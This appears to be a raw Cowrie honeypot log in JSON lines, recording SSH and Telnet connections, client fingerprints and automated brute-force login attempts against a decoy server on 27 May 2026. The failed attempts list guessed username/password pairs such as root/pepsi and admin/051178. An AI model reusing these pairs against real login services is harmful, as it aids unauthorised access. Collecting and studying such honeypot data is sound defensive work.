{"eventid":"cowrie.session.closed","duration":"42.7","message":"Connection lost after 42.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:32.028502Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":48527,"dst_ip":"10.17.0.5","dst_port":22,"session":"77b76a19f26e","protocol":"ssh","message":"New connection: 2.57.121.112:48527 (10.17.0.5:22) [session: 77b76a19f26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:36.745918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:36.751997Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:36.854318Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:37.333898Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051077","message":"login attempt [admin/051077] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:38.442063Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050979","message":"login attempt [admin/050979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:39.546896Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05091975","message":"login attempt [admin/05091975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:40.652270Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050877","message":"login attempt [admin/050877] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:41.758143Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:42.864324Z","src_ip":"2.57.121.112","session":"77b76a19f26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":36972,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0b4b86ee642","protocol":"telnet","message":"New connection: 79.139.59.21:36972 (159.203.135.109:23) [session: b0b4b86ee642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:44.797509Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":58146,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e718316e33","protocol":"ssh","message":"New connection: 103.15.222.183:58146 (10.17.0.5:22) [session: f3e718316e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:45.777774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:45.782912Z","src_ip":"103.15.222.183","session":"f3e718316e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:46.023979Z","src_ip":"103.15.222.183","session":"f3e718316e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skillet","message":"login attempt [root/skillet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:46.994461Z","src_ip":"103.15.222.183","session":"f3e718316e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:48.243006Z","src_ip":"103.15.222.183","session":"f3e718316e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":37394,"dst_ip":"159.203.135.109","dst_port":23,"session":"142b1e1a2e1d","protocol":"telnet","message":"New connection: 79.139.59.21:37394 (159.203.135.109:23) [session: 142b1e1a2e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:52.138078Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52690,"dst_ip":"159.203.135.109","dst_port":23,"session":"3374e9bbff80","protocol":"telnet","message":"New connection: 69.4.83.194:52690 (159.203.135.109:23) [session: 3374e9bbff80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:59:57.091907Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"885b44212c19","protocol":"ssh","message":"New connection: 194.113.233.25:58926 (159.203.135.109:22) [session: 885b44212c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:15.546629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:15.552448Z","src_ip":"194.113.233.25","session":"885b44212c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:15.644561Z","src_ip":"194.113.233.25","session":"885b44212c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pepsi","message":"login attempt [root/pepsi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:15.936637Z","src_ip":"194.113.233.25","session":"885b44212c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:17.031391Z","src_ip":"194.113.233.25","session":"885b44212c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":47066,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a2bc511580","protocol":"ssh","message":"New connection: 103.25.47.94:47066 (159.203.135.109:22) [session: c5a2bc511580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:23.590730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:23.603874Z","src_ip":"103.25.47.94","session":"c5a2bc511580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:23.849725Z","src_ip":"103.25.47.94","session":"c5a2bc511580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:24.863669Z","src_ip":"103.25.47.94","session":"c5a2bc511580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":44938,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc4d286628e","protocol":"ssh","message":"New connection: 123.58.209.58:44938 (159.203.135.109:22) [session: 1fc4d286628e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:26.093868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:26.100856Z","src_ip":"123.58.209.58","session":"1fc4d286628e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:26.124138Z","src_ip":"103.25.47.94","session":"c5a2bc511580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:26.320323Z","src_ip":"123.58.209.58","session":"1fc4d286628e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe2024@","message":"login attempt [root/Qwe2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:27.233853Z","src_ip":"123.58.209.58","session":"1fc4d286628e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56588,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d795a8a6aa","protocol":"ssh","message":"New connection: 103.172.78.219:56588 (10.17.0.5:22) [session: c4d795a8a6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:27.606862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:27.614858Z","src_ip":"103.172.78.219","session":"c4d795a8a6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:27.872131Z","src_ip":"103.172.78.219","session":"c4d795a8a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:28.455147Z","src_ip":"123.58.209.58","session":"1fc4d286628e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5647382910","message":"login attempt [root/5647382910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:28.619846Z","src_ip":"103.172.78.219","session":"c4d795a8a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.08640742301941,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:29.224347Z","src_ip":"79.139.59.21","session":"142b1e1a2e1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:29.877785Z","src_ip":"103.172.78.219","session":"c4d795a8a6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.32102370262146,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:32.412858Z","src_ip":"69.4.83.194","session":"3374e9bbff80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40856,"dst_ip":"159.203.135.109","dst_port":23,"session":"06513ff7bb83","protocol":"telnet","message":"New connection: 69.4.83.194:40856 (159.203.135.109:23) [session: 06513ff7bb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:38.169416Z"}
{"eventid":"cowrie.session.closed","duration":60.667550563812256,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:45.464973Z","src_ip":"79.139.59.21","session":"b0b4b86ee642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91d6bcd86a2","protocol":"ssh","message":"New connection: 101.47.156.21:37408 (10.17.0.5:22) [session: e91d6bcd86a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:48.565437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:48.568906Z","src_ip":"101.47.156.21","session":"e91d6bcd86a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:48.808010Z","src_ip":"101.47.156.21","session":"e91d6bcd86a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdqwe123","message":"login attempt [deploy/asdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:49.794462Z","src_ip":"101.47.156.21","session":"e91d6bcd86a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:00:51.038068Z","src_ip":"101.47.156.21","session":"e91d6bcd86a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":56368,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a2f307fa913","protocol":"ssh","message":"New connection: 38.93.206.2:56368 (159.203.135.109:22) [session: 1a2f307fa913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:02.615239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:01:02.623285Z","src_ip":"38.93.206.2","session":"1a2f307fa913","protocol":"ssh"}
